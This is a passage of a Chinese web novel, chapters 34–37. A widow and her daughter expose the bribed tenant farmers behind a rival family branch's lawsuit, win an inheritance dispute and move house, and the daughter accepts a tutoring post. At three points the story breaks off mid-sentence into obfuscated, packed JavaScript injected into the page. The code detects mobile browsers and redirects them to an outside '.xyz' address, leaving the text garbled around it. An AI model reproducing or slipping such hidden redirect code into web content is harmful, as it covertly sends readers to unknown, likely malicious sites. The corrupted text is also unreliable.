明夷也陷入沉思,是啊,三房准备充分,这计使得一环扣一环,明显是不想让她们翻身,现下又要争财产,又要打官司,无论哪个都不好搞,但……明夷抬头看向顾静翕:“娘亲有把他们那片管庄的叫来问话吗?” 顾静翕点点头,“已经吩咐下去,应该下午就到了。” 明夷又问:“这庄头可信吗?” 顾静翕道:“那人是你父亲奶娘的儿子,跟了你父亲十几年,办事一直很妥当,应当是能信的。” “那先等人来了问清楚再说。而且,”明夷顿了顿,“来闹的看着也就两三家人,总不计我们想多收钱还挑着人家收,这又不是摇骰子。或许我们应该再去打探打探其他佃户,看看能不能得出什么情况。” 顾静翕颔首道:“我也是这么想的,等下午那郑庄头来了,我们便和他一起去看看。” 34. 兵分两路 郑庄头是一个身材中等的圆脸男人,年纪看着四十上下,一幅憨厚的模样。一见着顾静翕就急忙下跪请罪,作势就要磕头。 顾静翕连忙示意人请起,让其落座在下首的松林红木圆椅上,又唤冬青给人看茶。郑庄头双手接过茶杯,连声道谢,将其捧在手上,也不喝,只眼巴巴地朝顾静翕的方向望去。 顾静翕见状,也不过多寒暄,直入主题道:“郑管事是否知晓今早来闹事的几个佃户是怎么回事?” 郑庄头将茶杯搁在小几上,迫不及待道:“那几个是咱们庄子上的佃户不错,但我每年都是按照单子上的数字收的租,绝对没有多收,夫人千万要相信我!我跟着老爷那么多年,绝对干不出这种事情来!” 见人情绪有些激动,顾静翕安抚道:“同光在世时就最器重你,我也是绝对相信郑管事的,今天请你过来,主要是想了解那几个佃户还有咱们那个庄子的一些情况。” 郑庄头松了口气,连忙道:“我来之前都将这些整理好了,都在这里了。”说着就从腰间挂着的布袋里摸出一本簿子出来,冬青上前接过,将其呈给了顾静翕。 顾静翕只是略略翻了两下,就将簿子放在一边,仍是看着郑庄头道:“还请郑管事再详细和我说说那几个佃户的情况吧。” 郑管事说,来闹事的佃户一共有三家,一家住在西边,姓方,家里加上残废的老爹,一共有六口人。平日干活还算认真,但性子暴躁,常与周围人发生口角。另外两户是两兄弟,姓李,都住在南边,去岁才分了家,原有一个妹妹,这两人怕妹妹与他们抢财产,在分家前就着急忙慌的将人嫁给另一个庄子的鳏夫。 二房名下的土地都是收的定额租,虽然这几年风调雨顺收成好,但也没有像别家一样借此换成分成租。每年秋后收租一次,钱帛粮食各占一半,往年若是遇到旱涝洪灾,庄稼收成不好,也会适当减租,若是青黄不接之时农户无钱买种苗,也会提供利率极低的贷款。 闹事的几个佃户都是一个庄子的,那片地在二房的资产中算是中等大小,每年收成也不突出,就是一片非常普通的地方,之前从未出过什么事情。 顾静翕听了心下大概有了计划,与明夷对视一眼,便道:“郑管事可知与那方氏有矛盾的几户农户,还有李氏妹妹的地址在何处?” 郑庄头点点头,“都是知道的。” 顾静翕又道,“那今晚先请郑管事在府上歇一晚,明日一早我随你去庄子一趟。” 第二日早晨,二房的马车才刚套上,就接到小厮的传信,说那几个佃户已上报了官,现在请顾静翕等人去县衙问话。 顾静翕嗤笑一声,这就等不急了?昨天送走那几个佃户后,她特意嘱咐了人在他们后头跟着,果然见到他们没有出城,而是去了一个小客栈住下,待到下午,又有一陌生男子来找,和那几个佃户了一会之后便出了门。小厮跟在其后头东拐西拐,见着他进了一处藏在小巷里的房子,前来开门的正是三房王同宁身边管事的人。 顾静翕让人又绑了一辆马车,自己带着几个丫鬟婆子坐了上去。又点了好几个会武功的家丁,并几个厉害的婆子,让他们跟着明夷的马车一道先去庄子里。 母女俩兵分两路,朝着反方向行驶,大约过了不到两个时辰,明夷掀开车帘,热闹的街道已然消失,取而代之的是一片青灰。 眼下已至年末,稻谷早已被农户收割一空,放眼望去天穹下苍凉而广阔。灰蒙蒙的天压着路边的枯树梢,远处庄子的轮廓在雪雾里若隐若现,明夷不禁握紧了手中的汤婆子,今年冷得也太快了些。 明夷下了马车后就在房里等候,郑庄头不一会而就将人都叫了过来,明夷戴着帷帽,让身边的丫鬟搬来杌子,再给每个人看茶,看着底下众人一脸雾水,惴惴不安的表情,刻意压低声音和蔼道:“今日请大家过来,只是有几个简单的问题想问问,大家不必慌张,知道什么答什么就是了。” “不知各位是否认识庄子上姓庄的那户人家?” 一个穿着土黄色交领袄子的农妇点点头,有些谨慎道:“不知贵人想知道些什么?” 明夷又道:“就想问问大家和他关系如何?” 一个手腕戴着磨破了的羊皮护腕的佃农道:“一般般,我们都与他家不是很熟悉。” 明夷一噎,继续道:“那你们可知他家最近有什么异常?” 众人均是摇摇头。 明夷又问了几句,除了一些琐碎小事,一句有用信息都没有得到。看着底下众人防备警惕的神情,料想一时半会也撬不开他们的嘴,便一人发了一串钱,让郑管事将人带下去。 众人走后,明夷独自思考了一会,决定去庄子里碰碰运气。 早上下的一点小雪现已停了干净,不远处的稻茬田覆着一层茸茸的霜花,田埂边种了一排歪斜的菜苗。池子里的水车应是有一段时间没用了,轱辘上长满了蛛网,几座矮小的房子散布在桑林边上,发黑的白墙上爬满了枯死的凌霄藤。 七八个缩着脖子的孩童正在追打着一只瘸腿黄狗,明夷心有不忍上前制止,孩子们见着头戴帷帽,穿着富贵,身后还跟了好几个人的明夷,一下子都噤了声,像受惊的田鼠般窜进了歪斜的篱笆墙里。 明夷有些无奈,她本来还想抓个小孩来问问的,这下好了,全跑了。又漫无目的逛了一会儿,路上人并不多,只要见着明夷有上来询问的动作,俱是低头快速离开,少女几次尝试无果,站在水沟边唉声叹气。 “是谁?快出来!” 明夷身后的家丁突然喊了一声并快速围了上来,明夷站在中间脑袋冒出大大的问号,?哪里有人?人在哪里?她连条狗都没见着! 但不得不佩服习武之人灵敏的感官,只见一个穿着桃红褙子的小姑娘瑟缩地走了出来,站在离明夷十步远的地方,害怕地说道:“我…我不是坏人,我娘…是我娘让我请贵人来家里说话……” 明夷从家丁身后探出一个脑袋,招了招手,示意女孩走近些,躬身问道:“是你娘让你来的吗?你娘是哪位?” 女孩小声道:“我家姓肖,就住在西边,我娘让我喊你过去。” 住西边,姓肖,明夷眼珠一转,是那户姓方的邻居,方才应该是过来见过她的,只是为何刚刚在屋子里不说,偏要现在悄悄来请人?带着满腹疑问,明夷示意女孩带路,跟着来到了一栋白墙黛瓦的矮小房屋。 女孩口中的娘亲正是方才那位穿着土黄色交领袄子的农妇,她有些拘谨地将明夷请到家里唯一一把扶手椅上就坐,唤着“小丫”让女孩端了杯温水过来。35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|15555701|166940||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' > 明夷不动声色地打量了一下四周,木质的窗棂上糊着泛黄的竹纸,横梁悬下的铁钩挂着几条细长的熏肉,青砖围成的火塘里积着厚厚的塘灰,边上倒打扫的很干净,屋子虽不大,但该有的东西都有,再看看女孩身上鲜艳的褙子,明夷作出判断,这家人应该过得还不赖。 明夷抬手将帷帽摘下,姓肖的妇人有些惊讶这位贵人竟然如此年轻,小丫眼睛睁得圆溜溜的,目光一错不错地盯着明夷。 “肖大娘请我到此处,是有什么事情想同我讲吗?”明夷对着女孩微微一笑,和气地问道。 肖大娘拘谨地搓了搓手,道:“方才在那屋里没同贵人说些什么实在不是俺有意隐瞒,只是前几天有人过来咱们这,将与那方家相邻的几户农家都威胁了一通,还给了一笔封口费,我们人微势小,实在不敢声张。”说着又从旁边的条柜里头摸出了一个蓝色锦袋递给明夷。 明夷接过看了一眼,宝蓝的料子掺着银线,泛着淡淡的光泽,一看就不是寻常农户家里会有的东西,给的人也是个蠢的,换个布袋都不会吗? 明夷将锦袋递回给肖大娘,叮嘱她赶紧换个袋子装。肖大娘一听,马上指挥小丫去卧室里翻了个打着补丁的布袋出来,将银子装了进去,有将锦袋递给明夷,道:“这东西我们这种人家留着也容易生事端,还是贵人拿去吧。” 明夷颔首道谢将其接过,又问了给钱之人的模样,听着肖大娘的形容,明夷大概可以确定,是昨日去找客栈佃户的那个男人,呵,果然是三房搞得鬼。 肖大娘有些惶恐地看着少女莫名冷笑地模样,小心翼翼道:“贵人可还有要问的?” 明夷立马回神,对人挤出一个和蔼的笑容,温声道:“大娘这段时间有没有察觉到方家有什么异常?” 肖大娘皱着眉头想了会儿,旁边的小丫突然喊道:“方小壮最近多了好些玩具,都是城里的新鲜玩意儿!” 经女儿的一番打岔,肖大娘也想了起来:“最近方家像是凭空发了笔横财似的,家里添置了不少东西,不过他家两口子这几天也吵得很凶,不知是因为什么。” 明夷心里一喜,又再问了两句,便又让麦冬拿了两串钱出来,认真的道了谢,起身准备离开。 肖大娘没有接这串钱,反而带着小丫跪了下来,明夷脑袋一懵,这是唱哪出?赶忙和麦冬一左一右将人扶了起来。 肖大娘眼眶有点泛红,哽咽道:“当初俺小丫病得快死了,要不是正好碰上王家二老爷来庄子,替小丫请了大夫,还不要俺们的钱,小丫哪还有命在!老爷仁厚,对俺们这些庄稼人多有照拂,那些杀千刀的如此诋毁老爷,日后定是要下地狱的!” 说着又要按着小丫磕头,明夷扶着人胳膊坚决不让,劝慰道:“大娘能够站出来和我讲这些,我们就已经很感激了,相信我爹泉下有知,也会感谢您的。” 将人扶到椅子上坐好,明夷又道:“咱们人活在世,离不得五谷杂粮,要是没有你们,我们这些空有银子又有什么用?还不是得饿死,这样说起来,还是我们依靠着你们呢。我在家中读书时,每每看到事农的诗文,总不禁感叹,汗滴禾下土,粒粒皆辛苦,正是有无数你们这样的人,大周才能长存永固,能为你们说些什么,也是我们应该的,大娘千万要放宽心才好!” 35. 打官司 回到王府,明夷立马翻出林时夏昨晚加急派人送来的信件,里头提到林家有人看见那几个佃户去吃花酒,付账时用的都是崭新的银钱,并且还强调,里头有一个身材高大的汉子形貌娴熟,瞧着不像是第一次来。 明夷拿着信直奔不系园,顾静翕也早早从县衙回来了,见着女儿进来了,招了招手,冬青立刻会意,将屋子里的人都叫了出去,自己留在最后将帘子放下,门关好,守在外头不让人靠近。 顾静翕倚在罗汉床边,披了件月白云纹锦缎对襟披风,底下漏出一截靛蓝色素缎马面,将酸枝木小几上的糖蒸酥酪与桂圆枣泥酥推到明夷面前,道:“特意吩咐给你做的,先吃一点垫垫肚子,不着急说。” 明夷心里一暖,方才在庄子的大半天,人生地不熟的地方,她出于谨慎,除了自己带的茶水,并没有再碰别的食物。整个人一路都是绷着的,现在闲适下来,才惊觉自己今日除了早上喝的一碗鸭子肉粥,就再没吃过东西。本来急匆匆地赶来想和母亲分享她收集的情报,却不想母亲县衙走一趟,惦记的第一件事竟然是女儿的肚子。 明夷呼噜噜喝完了大半碗酥酪,又连吃了好几块桂圆枣泥酥,接过母亲递过来的茯苓姜枣茶润润嗓子,感觉胃里的热气直直通到四肢,心里妥帖极了。 掏出块帕子将嘴擦干净,明夷道:“娘亲还记得昨晚时夏托人送来的信吗?” 顾静翕点点头,“吃花酒那个?” 明夷道:“没错,我上午去庄子里头,听到那方姓佃户的邻居说这人近些日子和他妻子吵了几架,此外,现下这天寒地冻的,又没有收成,他家还平白添置了不少新物什。” 顾静翕皱了皱眉,刚想说些什么,只见明夷又掏出了个蓝色锦袋放在桌上。 “?” “娘亲猜猜这东西是哪来的?” 顾静翕将锦袋拿到手上细细看了看,道:“这料子不便宜,而且娇贵得很,普通人家怕是不会用这么不实用的东西。” 明夷眨了眨眼睛,“这是方家的邻居,肖大娘给我的。” “庄子上的人家?”顾静翕又拿起锦袋看了看,狐疑道:“这袋子不会出自咱们府上吧?” 明夷眼睛一亮,笑道:“娘亲真聪明!一猜一个准!” 看着女儿开心的样子,顾静翕却有些担忧,“明儿今日在庄子里没遇到什么事吧?” 明夷拍了拍母亲的手,道:“女儿什么事也没有,只是上午问话时大家都跟锯嘴葫芦似的没人愿意说些什么,好在这位肖大娘偷偷找着了我,告诉我他们遭人威胁的隐情,这锦袋就是证据,至于给锦袋的人,根据肖大娘的描述,应是昨日小厮跟踪到的那个人无疑。” 看着母亲若有所思的表情,明夷想了想,又继续道:“肖大娘说那个姓方的佃户最近常和妻子吵架,我猜想与他吃花酒有关,他常去的那家青楼里头有林家的人,我打算让时夏帮我再探探那人口风,看看能不能挖出什么实质性的证据来,不过——”明夷有些不确定道,“这几个人还会在城里住多久?要是马上就回去了就不好打听了。” “这事没解决他们一时半会儿应该不会回去。”顾静翕缓缓道,“我今天去县衙,那知县虽说客客气气的,但明显偏袒那几个佃户,无论我说些什么,都给我打幌子盖过去。对方请的讼棍也利害的很,一张嘴把黑的都能说成白的!” “那…这,他们有没有为难娘亲?”明夷担忧道 “自是没有的,你爹在县里读书人中的声望并不低,你娘我也不是一个任人揉捏的软柿子,那群人一点便宜都没占着。”顾静翕挑了挑眉,面露得意之色。 明夷看到母亲的神色,知道她应该是有主意了,心下略松一口气,问道:“娘亲可是有法子了?” 顾静翕道:“算不上,不过今日那县丞过去受恩于你方叔叔,自你爹爹去世后,他家远在京城无法赶来,但也特地修书一封,嘱咐那县丞若有事情定要关照我们母女俩。我上午离开县衙后他就托人传了纸条,说那知县已经被三房的人收买了,叫我小心,还给举荐了一个隔壁县的讼棍,听说厉害得紧。” 瞧见女儿刚舒展的小脸又皱成一团,顾静翕抻了抻明夷的脸颊,道:“我回来后就写信给你淑姨了,请她去找她家老爷帮忙,知县的事情不用担心,咱们现在重要的是找着那几个佃户被收买的证据。” 见女儿反应不大,又道:“好啦,别再皱着眉头了,年纪轻轻的眉心总挂道川字像什么样子,离下次开审还有几天,走走走,咱们吃饭去,今晚吃拔霞供!” 林时夏那边消息来的很快,不出三日就从那姓方的佃户嘴里套到了些信息。顾静翕找了人趁夜去他家里翻了一通,果然找到了一张与此事有关的字据。 这原是那人自负谨慎,怕三房赖账,特意要求的,不过三房也不是完全傻的,字据上只列要予人多少银钱,落款写的也是那陌生男子——三房管家的侄子的名字。 另外两家佃户,明夷也联系上了他们的妹妹,这位李家妹妹恨她俩哥哥恨的要命,当即就同意了作证。此外,明夷还雇了人打起了舆论战,街头巷尾到处都在谈论王家兄弟阋墙,争夺家产,欺压孤儿寡母,就连着相邻几个县也有了传闻。临安王家俨然成了上至士族官员,下至走贩挑夫茶余饭后的谈资。 毕竟前段时间还是二房不仁不孝,现在又变成了二房受欺,还掺和进家产之争,故事之跌宕,剧情之多样,内情之丰厚,着实让人欲罢不能,听闻还有人私下开了赌局,赌这事究竟谁能笑到最后。 王府里,三房最近连院门都不出,听丫鬟小厮说里头一天能吵好几架。袁老太太也病倒了,大房的陈氏借着照顾母亲的理由,一齐躲在那瑞鹤堂,也是鲜少出门。明夷和顾静翕也没闲着,整日忙得团团转,联系相关人事,商量各种事情,模拟突发状况,以确保顺利进行。 开审那天,县衙门前围了不少看戏的群众。知县早已被敲打过,不敢再做什么小动作,老实的依着程序来。那县丞推荐的讼棍果然厉害,先是洋洋洒洒的将事情陈述清楚,再面对对方的质疑,三言两语就将人噎得哑口无言。 随着证人的出列,整场官司渐至高潮。 李家妹妹自述家贫,指控两个哥哥莫名拥有大笔不明钱财,并呈上了物证,县丞看后,如此规整的雪花银的确不像是普通农户家里能拥有的,又察了递上的账本,确定钱款存疑后向知县请示,知县惊堂木一拍,底下两人哆嗦着跪下,承认有人给予他们钱财让他们去找王家二房的麻烦,至于是谁指使,却哆哆嗦嗦说不明白。 顾静翕又适时呈了张字据和一个蓝色锦袋上去,肖大娘并其他几个农户也占了出来控诉自己被威胁与方姓佃户突发横财。 知县看着这些物证脑门直冒汗,硬着头皮继续问那始作俑者是谁? 这时,又一人跪了出来,正是三房管家的外侄。 那男子对着顾静翕母女和 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|15566779|166940||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 知县磕了几个响头,开口将一并罪名全认了下来。不管怎么问,只道自己之前与二房有过嫌隙,希望能借此将二房摁下,让三房能多管理一些财产,自己也好借姨夫的关系捞更多的油水。 三房夫妻俩登时一幅捂住胸口嘴巴大张,不可置信、惨遭背叛的模样,王同宁直接冲到中间将人痛骂一顿,又将管家叫出来狠狠批了一通。 桑夫人泪水涟涟地走到顾静翕面前,期期艾艾地想拉她的手,被顾静翕不着痕迹地躲开了。她又去扯明夷的衣袖,少女躲避不及被抓了个正着,帷帽后面的眼睛嫌恶地看着面前的女人,直接甩手将衣袖扯了出来。 桑夫人向后一个踉跄,整个人脸色煞白又作势晕倒,被骂完人分王同宁赶忙扶住,两人借口瞧大夫,先行退下了去。 几个佃户受人指使诬陷王家二房的事情已然真相大白,虽然揪出的幕后指使过于牵强,给出的理由属于有点脑子的人都不会相信的,至于真正作恶之人是谁,稍微明白点的人也都心里有数。 县丞问顾静翕母女可还有事要议?顾静翕摇摇头,起身朝知县行了个礼,道:“既已揪出凶手还我家清白,民妇在此谢过各位官老爷。” 说着又转身朝后一拜,道:“谢谢各位父老乡亲愿意出来替我作证,我与小女着实感激不尽!” 知县见顾静翕如此识时务,惊堂木一拍,迫不及待地将处罚吩咐下去,宣布退堂。 回府之后,顾静翕直接带着明夷杀到了瑞鹤堂,逼着袁老太太将人都叫了过来,一齐再议分家事宜。 三房两人不复之前趾高气昂的安稳模样,只一昧低着头躲避老太太仿佛要吃人的目光。陈夫人坐在老太太身边,整个人跟霜打了的白菜似的,不说没讲过几句话,连头都没抬几下。 顾静翕见众人都不言语,便先行开口道:“咱们这分家的事情一拖再拖,眼瞅着就要过年了,得赶紧商量好才是。自上次过后,我早就想和大家一齐坐下来再好好谈一次,只是突然被一些腌臜事情绊住了手脚,实在不是有意拖着的,你说是不是啊桑弟妹?” 桑夫人胡乱嗯了一声,顾静翕又道:“方才在县衙里头我看你都晕倒了,现在可还好?大夫如何说的?三弟可千万要照顾好妹妹啊,这平白无故就晕倒怕不是招了什么不干净的东西。” 王同宁扶着妻子的手紧了紧,没有答话。 顾静翕又看了眼袁老太太和陈夫人,继续道:“上回你们提的建议我也回去想了,为族中子弟读书做贡献是好事,我们母女俩的确不该将钱财都拿了去。我想了想,我和明儿就要三分之一,剩下的都捐给族里,明日就让人来立字据写契约,大家觉得可好啊?” 大房三房的人哪还敢有什么意见,顾静翕手里捏着把柄,再争下去,要是搞个鱼死网破,整个王家岂不就彻底沦为江南一带士族的笑柄了吗,抬不起是一码事,届时搞不好儿女仕途婚嫁都要受牵连。 袁老太太看着下首投来的几束目光,心里骂着几个蠢货,但也无可奈何,面上还是淡淡道:“就按二房媳妇说的来吧。” 母女俩大获全胜,乐呵呵得和这一桌人在瑞鹤堂吃了顿饭,看着那几人吃瘪萎靡的模样,明夷高兴地又多吃了一碗饭,整个人舒畅极了! 饭后明夷蹦蹦跳跳地跟着母亲回到了不系园,烛火将母女俩投在屏风上的影子拉的长长的,顾静翕抚摸着女儿的鬓发,轻轻道:“明儿想不想搬家呀?咱们今年去淑姨那过年好不好?” 36. 不做盆栽 搬到钱塘这件事顾静翕已经想了一段时间了,并且也拜托了徐淑仪帮其物色宅院。 既然分了家,这王府也没有再住下的理由。而且——顾静翕嫌恶地皱了皱眉,这宅子里的人她是再也不想看到了,不如搬去钱塘,与淑仪作伴,自己和女儿两人也可以重新收拾一个舒适的新家。 明夷自是欢喜的,甚至还有些迫不及待,一想到要是今年还和那几人一起过年,就觉得晦气得不行。钱塘好啊,淑姨在,阿孚在,自己和母亲一块住,事少、规矩小,也没人拘着她。 而且——想到这明夷叹了口气,她不该有这种想法的,但是,她的的确确松了口气。 父亲去世,按律她需守孝三年,明年与方韫之的婚约定是不能履行的。这些年,方家一直对她家多有关照,最近这出事,方家虽没有亲至,但也出了不少力气,而方韫之也的确算得上良配。 但她还是不想那么早嫁人,不想像盆花一样,从这个宅院被搬到另一个宅院。在这里,女人一旦结了婚,就只是谁的夫人、谁的儿媳、谁的母亲……总之再不是她自己。 明夷俯在书案上将脑袋埋了进去,喃喃道:“这太可怕了。” 明夷没有勇气去打破这些,她只想再等一等,让她再过几年闲适的少女生活,让她再好好把自己说服,让她再多点时间去找寻一个不知所谓的契机…… 徐淑仪效率很高,很快就找着一座一进一出的宅院,占地不大,但母女二人并几个丫鬟家丁住也是绰绰有余了。这宅子原是一位在钱塘任职的官员的一所别院,现已升迁至别处,遂将其卖掉。外观装潢都很新,离徐淑仪所在的叶府也就一刻钟的脚程,简直方便极了。 顾静翕拜托徐淑仪将那宅院好好检查了一通,又请了风水先生来仔细查看,确定无误后痛快地付了钱拿了地契。徐淑仪赶忙派人去把宅子打扫一通,冬至前,母女俩带着几车箱奁,入住了新家。 新家院子里有很大一株垂丝海棠,听说已经几十年的老树了,这座宅子还没建成时它就在了,待花盛期从正对着的海棠花窗看去,海棠见海棠,真真似画一般。 左边角落还有一处葫芦形的小池塘,旁边放着两个大水缸。看着空空如也的水缸,明夷决定赶明儿就让人买几尾金鱼回来,还有荷花!池塘边的话最好是种满紫阳花,再架几支竹管引水,置把摇椅在侧,定是春日放懒的好去处。 将屋子收拾好后,顾静翕和明夷请徐淑仪并吴中孚来府里吃乔迁宴,母女俩专门起了个大早,亲自下厨,从早忙活到下午,中午草草吃了顿边角料,做了一大桌子菜来恭候两人的光临。 母女二人皆换上了簇新的衣裳,吴中孚刚一进门,就看见明夷姿态盈盈地迎了上来,只见其一身浅丁香色缠枝莲纹暗花缎竖领对襟袄,下着月白流云百蝠纹马面,外披一件灰鼠皮里子黛蓝缎面披风。发髻间只斜插一支素银点翠蝴蝶簪,耳垂悬着莹润的南珠,腕间戴了一对绞丝银镯。整个人清丽素雅,眸清可爱,少年一时有些发愣。 “阿孚来得真早!快快坐这边来,今晚可多好吃的了!”明夷笑着将吴中孚引到自己旁边落座。 另一边,穿着沉香色云纹织金缎交领袄的顾静翕将徐淑仪手中的珐琅暖炉递给侍立在旁的丫鬟,边拉着人往里走边道:“今年这冬天着实比往年冷不少,姐姐快往里头坐,屋里头早就烧暖和了!” 见人已坐好,明夷招呼丫鬟们上菜。塞着虾茸与白果鸡肉的油炸豆腐特取名金银满屋,盛在白釉八葵口折沿盘里头,油亮琥珀色鲍汁包裹着金灿灿的圆球,炸物的香味混着鲍汁的鲜甜扑面而来。镂空的冬瓜盅里头盛着与荠菜嫩尖快炒的野鸡鸡胸肉,丫鬟捏着湿帕子将顶盖掀开,仿佛在这寒冬腊月里闻到了春天的清香。 又一穿着酱色比甲的丫鬟端上桌一个小巧的红泥炭炉,上头架一只褐色小锅,里头装的是顾静翕的拿手好菜——鹿筋煨鹌鹑。 明夷赶忙给吴中孚碗里夹了只肥鹌鹑,道:“这鹌鹑肚子里的糯米和栗子,都是我起了个大早一只只塞的,赶紧尝尝。 吴中孚颔首道谢,低头咬了一口,只觉口感丰富,满嘴生香,鹌鹑许是先过了油,皮脆肉香,里头的栗子粉粉和糯米充分混合,十分软和。 少年弯着眉眼对明夷笑道:“我之前在别处也吃过这道菜,但都不如明姐姐和顾姨做得好!” 吴中孚今日穿了一件象牙白直身绸袍,领缘与接袖处皆用黛蓝丝线绣冰梅纹,行动间闪着莹莹的微光。正厅暖黄的灯光为少年镀上一层釉色,眉心红痣似跳动的朱砂,整个人越发显得貌若暖玉,神采秀澈。 明夷对少年的印象至今还停留在初见时白玉团子似的男孩,虽在及笄时短暂见过,但第一印象长留心中,仍未察觉他的变化。少女突然想起,今年三月的时候少年就已经满了十四岁,已经算不得孩子了,方才进来时身姿笔挺,人同白鹤,已然一幅俊秀美少年的模样。 吴中孚见明夷一直盯着自己,藏在袖子里的手紧了紧,不动声色的将脸又回正一些,嘴角笑容更盛,果不其然,又瞧见明夷眼中闪过的惊艳。 丫鬟适时捧上了一色四个黄底蓝边的珐琅汤盅,里头装的是热腾腾的雪霞羹,乃是用当日现磨的嫩豆腐碾碎再混和蟹肉,将其摆成芙蓉状,盖上盖子再蒙一圈油布,上锅隔水蒸熟,最后再撒上火腿末与芫荽。虽都是简单食材简单工序,却是最能吃出食材本身的鲜美。 徐淑仪夹了一筷子蜜汁火方,慢悠悠道:“明儿与方家的亲事还有三年,有没有想过在这些日子做些什么啊?” 吴中孚筷子微微一顿,耳朵悄悄竖了起来。 明夷抬头道:“最近才将手上一堆事情忙完,还不曾想过呢,不过……” 明夷沉默了一下,又道:“平常连门都不能随意出去,我又能做些什么呢?” 顾静翕给女儿夹了一颗蟹粉狮子头,看向徐淑仪道:“姐姐怎的突然问起这个,莫不是得了什么消息?” 徐淑仪微微扬了扬头,髻中的金蜂赶菊顶簪在灯下闪着流光,“明儿这手柳体,我瞧着比隔壁苏州樊家的女先生还强上几分,画做得好,算盘也拨得好。昨儿徽州赵家二太太来信,说想寻个通诗文、懂音律的闺师,给她们家三位小姐上课。” 顾静翕想了想,“是赵安歌赵夫人的娘家吗?” 徐淑仪道:“不错,正是赵夫人的弟媳。 顾静翕蹙眉道:“赵家虽是经商起 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|15578195|166940||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 家,但之后也捐钱买了一官半职,更别说后辈也争气,我听说赵夫人的哥哥现下在京中官职已升至四品,小弟继承了家里的盐业也做得风生水起,这样的家世,会请明儿一个从未教过书的年轻女子做塾师吗?更别说明儿还未成亲,行动多有不变……” 徐淑仪拍了拍友人的肩,道:“凡事都有第一回,而且明儿品貌出色、学问扎实,又不是那些糊弄之辈,又有何担心?再说你九畹居士名号响亮,明儿父亲也是远近闻名的才子,就凭你俩的名号,明儿也是被各家抢着要的。” 明夷坐在旁边点点头,若有所思道:“淑姨不说我都差点忘了我也算是个‘学二代’啊,这是不是也算是一种门荫?别人靠门荫做官,我靠门荫做塾师,嘿嘿也算是享受到了。” 徐淑仪听了捧腹大笑,直指着明夷道:“哈哈哈哈你这孩子,这嘴跟你母亲一样贫!” 顾静翕无奈地帮友人拍背顺气,朝着明夷道:“你自己怎么想的?” “我…”明夷顿了顿 她自然是想去的,虽然若去徽州,山高水远,人生地不熟,且古代的交通治安什么的也不好,寄住别人家也多有不便……但是,她可以走出去欸,能够跨过层层门槛,走出重重朱门,能够暂时摆脱“盆栽”的命运。 她还记得十二岁那年,李青棠塞给她的手串,她也记得,上辈子的自己走过多少地方,有过很多理想……她一直劝着自己,既来之则安之,这不是能容你异想天开的地方,与其徒增痴念,不如就此作罢。 从十二岁到十七岁,她已经来到这个时代五年有余,前尘往事转为空,她或许都快忘了李祺这个名字了。 其实她在这里已经过得很不错了,士族人家的小姐,衣食无忧、富贵不愁,爹娘疼爱、朋友环绕,物质上比起上辈子实在强太多。 可是,锦衣玉食于她,不过是一个名贵的花盆,它装点着她,也禁锢着她,明夷见过真正的自由,体会过真实的平等,又怎能甘心如此? 求不得是痴,放不下是嗔,她若想让自己活动轻松些,就只能将前尘往事尽抛心底,糊涂掠过所有不适。 但现在有一个机会摆在她眼前,虽然只是上辈子的稀疏平常,也可能只是当下的短短几瞬,但…凡事皆有可能!她在等一个机会,现在它来了,等她踏上这条路,谁又能说得准日后会发生什么呢? 人常常害怕未知,但未知也预示着无限可能,她现在只需要做一个开始的决定,然后将一切交给命运,不,开始本身就是命运的一环。 尘随马去,月逐舟行,她到底还有期望啊…… “我想去!” 明夷突然大声道,把屋里几人吓了一跳。 徐淑仪点点头,“那我回去就给徽州那边回封信。至于明儿还未出阁的事情,静翕你也不必担心,她本身就是有婚约的,而且要不是因为……她也该嫁人了,这样的身份还是比一般的姑娘方便很多。” 顾静翕看着女儿亮晶晶的双眸,抚了抚她的肩膀,“都听你们的,出去看看也好,况且” 顾静翕有些怀念,“明儿小时候不也说过自己想做沈先生那样的人吗?有你爹爹的保佑,我儿定会心想事成,平安顺遂的。” 37. 儿行千里母担忧 大约过了半月余,赵家那边的回信总算收到了。信中表达了其能聘得明夷作塾师的欢喜,还附上了三个女孩的大致情况与自家的详细住址,上任时间定在来年春分前。 明夷拿着信细细读了一遍,里边多有溢美之词,不禁感慨这家人可真会做人,对着她这么个初出茅庐的姑娘,没有半点轻视。 明夷十分有将为人师的自觉,接下的日子基本就是待在书房读书备课,吴中孚来串过几次门子,见其如此用功,立马蹬蹬地跑回去禀了徐淑仪,隔天就提着自己的几摞书过来,分到了明夷书房的一张小桌。 吴中孚今年四月参加了府式,取得了前三甲等的好成绩,现下正打算一鼓作气考过明年的院试。歙县吴家作为当地有名的士族,十分重视本地的文化教育和科考率,听说了吴中孚的好成绩,认定其是一个将来能为家乡争光的好苗子,便几次写信想让吴中孚回籍继续参加科考。 